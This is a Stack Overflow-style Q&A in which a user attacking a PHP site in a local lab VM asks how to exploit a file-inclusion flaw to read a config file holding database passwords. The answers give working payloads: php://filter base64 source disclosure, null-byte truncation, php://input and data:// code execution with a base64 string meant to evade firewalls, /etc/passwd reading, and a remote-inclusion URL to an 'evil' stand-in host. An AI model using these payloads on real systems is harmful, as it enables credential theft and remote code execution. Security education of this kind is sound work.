PHP security exploit - list content of remote PHP file?
Asked Answered
T

3

11

I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).

This is the code of index.php, for reference:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.

Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?

Tuchman answered 22/12, 2013 at 4:24 Comment(4)
It's not parsed by the browser. It's parsed by the PHP interpreter. The browser only displays it. Did you try a directory traversal? This might work…Wulf
My bad, @nietonfir, that's what I meant.Tuchman
And not sure if it's a typo or not, but shouldn't it read $_GET["page"]?Wulf
It's not parsed by the browser. It's parsed by the PHP interpreter. T̶h̶e̶ ̶b̶r̶o̶w̶s̶e̶r̶ ̶o̶n̶l̶y̶ ̶d̶i̶s̶p̶l̶a̶y̶s̶ ̶i̶t̶Reorientation
H
37

If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.

And, there are still ways to exploit.

Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

There's a special protocol in PHP, powerful and dangerous. It's php://. You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.

Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.

  1. Source disclosure

This feature doesn't need url inclusion allowed.

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)

Then you can see the source secret.inc.php in the same directory via following request.

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

demo

File content will be encoded in base64, so it does support binary file.

It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!

  1. Remote code execution

Actually you can't exploit this way, because allow_url_include is Off in this case.

But I must point it out because it's magical!

It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.

php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!

enter image description here

Don't forget the %00 to drop .php tail.

Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

And you will get familiar phpinfo once again!

with base64 encoding

Note

The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139

Hare answered 22/12, 2013 at 5:19 Comment(6)
Great tool, I'll be sure to check that out! The request php://filter/read=convert.base64-encode/resource did the trick, as the website gave me the base 64 encoded version of the file by doing http://10.211.55.5/index.php?page=php://filter/read=convert.base64-encode/resource=setupreset. Then I simply used an online decoder (such as base64decode.org) to get the raw content. Many thanks!Tuchman
No problem. By the way, you can directly decode base64 in modern browser, just navigate to data:text/plaintext;base64,aGVsbG8gd29ybGQ= and see what's gonna happen. ;)Hare
What add-on is that? :)Sequestrate
@BrendanScarvell It's a powerful penetration helper, which allows you execute complex HTTP requests. Check out the link for detail. :)Hare
Note that the blog cannot be accessed anymore. It's still accessible with the WayBackMachine web.archive.org/web/20140625025938/http://…Sundaysundberg
what happens when you have the null byte file include vulnerability in a cookie. the code itself builds a var with include function and the cookie[user] value followed by a .php extension.Drobman
W
2

Use a directory traversal and end your input string with a %00 NUL meta character (as mentioned on wikipedia).

http://example.com/index.php?page=setuppreset%00

This will remove the ".php" suffix from the inclusion and might help you somehow.

Wulf answered 22/12, 2013 at 4:41 Comment(0)
H
0

It is not. The php file is getting executed because you call include, if you called readfile, file_get_contents or similar you could see the contents of the php file.

Haslet answered 22/12, 2013 at 4:27 Comment(2)
Yes, that would be easy, but unfortunately I can't change the source code of the file unless it's by some form of exploit.Tuchman
@evert could you explain...making file_get_content(), i just get the htmlTheologize

© 2022 - 2024 — McMap. All rights reserved.